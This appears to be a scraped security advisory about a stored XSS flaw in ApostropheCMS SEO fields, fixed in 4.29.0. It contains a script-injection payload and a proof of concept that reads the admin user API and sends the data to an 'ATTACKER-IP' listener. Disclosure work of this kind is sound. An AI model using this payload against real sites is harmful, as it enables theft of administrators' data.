| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| apostrophecms | < 4.29.0 | 4.29.0 |
| apostrophe | < 4.29.0 | 4.29.0 |
A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.
Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.
ApostropheCMS (tested on version: v4.28.0)
User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:
<title><meta> attributesThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.
The following payload demonstrates breaking out of HTML context:
"></title><script>alert(1)</script>
This confirms:
<title> / <meta> contextsThis PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.
"></title><script>
fetch('/api/v1/@apostrophecms/user', {
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
Watch the following YouTube video for a full demonstration of the exploit:
PoC Video: https://youtu.be/FZuulua_pa8
python3 -m http.server 5656"></title><script>
fetch('/api/v1/@apostrophecms/user',{
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíThe payload executes in the admin’s browser
The script sends a request to: /api/v1/@apostrophecms/user
The response contains sensitive user data:
The data is exfiltrated to the attacker-controlled server:
http://ATTACKER-IP:5656GET /?data=BASE64_ENCODED_RESPONSEThis vulnerability allows an attacker to: